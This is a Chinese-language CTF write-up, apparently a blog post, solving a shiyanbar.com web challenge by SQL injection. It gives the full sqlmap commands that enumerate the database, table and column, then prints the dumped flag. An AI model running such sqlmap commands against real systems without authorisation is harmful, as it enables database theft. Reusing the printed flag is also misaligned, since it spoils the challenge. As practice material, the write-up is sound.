Tamevic’s Ctf-Web writeup@实验吧‘这个看起来有点简单!’

Tamevic’s Ctf-Web writeup@实验吧‘这个看起来有点简单!’

还是在实验吧里挑一道简单一点的题目做一做

url: http://www.shiyanbar.com/ctf/33 emmm…这个看起来有点简单!

分析

点开题目其实有点懵,感觉不知道从何下手,尤其是它内容说id in xxxx.php 其实本来是想直接关掉的(不会php…((/- -)/)但是看到有个表格,url中间还有 id=1 妥了,应该是道sql注入,趁机学习一下sqlmap的用法

在这里插入图片描述
-安装 sqlmap
macOS下安装sqlmap应该会比较简单,先去看了看大神们怎么装sqlmap怎么配置bulabula,然后自己试了试,发现在中间总是会死掉还是看不懂的error。索性直接

pip install sqlmap

Bingo!安装完毕==直接开始使用

-先用sqlmap看看是什么数据库和当前数据库名

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' - -current-db

在这里插入图片描述
是MySQL数据库,当前的数据库名叫 ‘my_db’

-再查看表名

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db - -tables

在这里插入图片描述
现在有两个表,一个叫news,一个叫thiskey,这已经很明显了,分明是勾引我去看看这个key
-查看列名

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey - - columns

在这里插入图片描述
不能再友好了,只有一列,叫k0y

-查看dump数据

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey -C k0y - -dump

在这里插入图片描述

结果

flag 就是

whatiMyD91dump

提交就OK了(这个flag是一个字母一个字母跳出来的…还是比较喜感)

End

sql注入其实还是晕晕的==

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值